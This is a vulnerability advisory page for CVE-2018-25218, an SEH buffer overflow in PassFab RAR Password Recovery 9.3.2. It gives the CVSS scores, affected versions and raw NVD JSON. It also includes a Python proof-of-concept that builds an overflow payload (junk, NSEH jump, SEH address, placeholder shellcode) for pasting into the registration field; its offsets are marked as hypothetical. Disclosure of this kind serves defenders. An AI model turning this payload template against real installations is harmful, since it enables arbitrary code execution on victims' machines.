Security Vulnerability Report
中文
CVE-2018-25218 CVSS 8.4 HIGH

CVE-2018-25218

Published: 2026-03-26 14:16:06
Last Modified: 2026-03-31 15:08:52

Description

PassFab RAR Password Recovery 9.3.2 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious payload. Attackers can craft a payload with a buffer overflow, NSEH jump, and shellcode, then paste it into the 'Licensed E-mail and Registration Code' field during registration to trigger code execution.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:passfab:rar_password_recovery:*:*:*:*:*:*:*:* - VULNERABLE
PassFab RAR Password Recovery 9.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python # Proof of Concept for CVE-2018-25218 # Generates a malicious payload for PassFab RAR Password Recovery 9.3.2 import sys def generate_payload(): # Offset to SEH structure (Hypothetical value for demonstration) offset = 1000 # NSEH (Next SEH) - Short jump to shellcode (\xEB\x06\x90\x90) nseh = b"\xEB\x06\x90\x90" # SEH - Address of POP POP RET instruction (Hypothetical) # Needs to be from a module without ASLR/DEP seh = b"\xAF\x11\x50\x62" # Shellcode (Example: Calc.exe) # Placeholder shellcode shellcode = b"\xCC" * 300 # Construct payload: Junk + NSEH + SEH + Shellcode payload = b"A" * offset + nseh + seh + shellcode return payload if __name__ == "__main__": payload = generate_payload() print(f"[+] Payload generated (Length: {len(payload)})") print("[!] Copy the output below and paste into the 'Licensed E-mail and Registration Code' field.") try: print(payload.decode('latin-1')) except Exception as e: print(repr(payload))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25218", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:05.900", "lastModified": "2026-03-31T15:08:51.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PassFab RAR Password Recovery 9.3.2 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious payload. Attackers can craft a payload with a buffer overflow, NSEH jump, and shellcode, then paste it into the 'Licensed E-mail and Registration Code' field during registration to trigger code execution."}, {"lang": "es", "value": "PassFab RAR Password Recovery 9.3.2 contiene una vulnerabilidad de desbordamiento de búfer en el gestor de excepciones estructuradas (SEH) que permite a atacantes locales ejecutar código arbitrario al proporcionar una carga útil maliciosa. Los atacantes pueden diseñar una carga útil con un desbordamiento de búfer, un salto NSEH y shellcode, y luego pegarla en el campo 'Licensed E-mail and Registration Code' durante el registro para desencadenar la ejecución de código."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:passfab:rar_password_recovery:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.3.2", "matchCriteriaId": "8213D8A6-BFD0-452D-965A-483D462B5F31"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46008", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.passfab.com/downloads/passfab-rar-password-recovery.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.passfab.com/products/rar-password-recovery.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/passfab-rar-password-recovery-seh-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}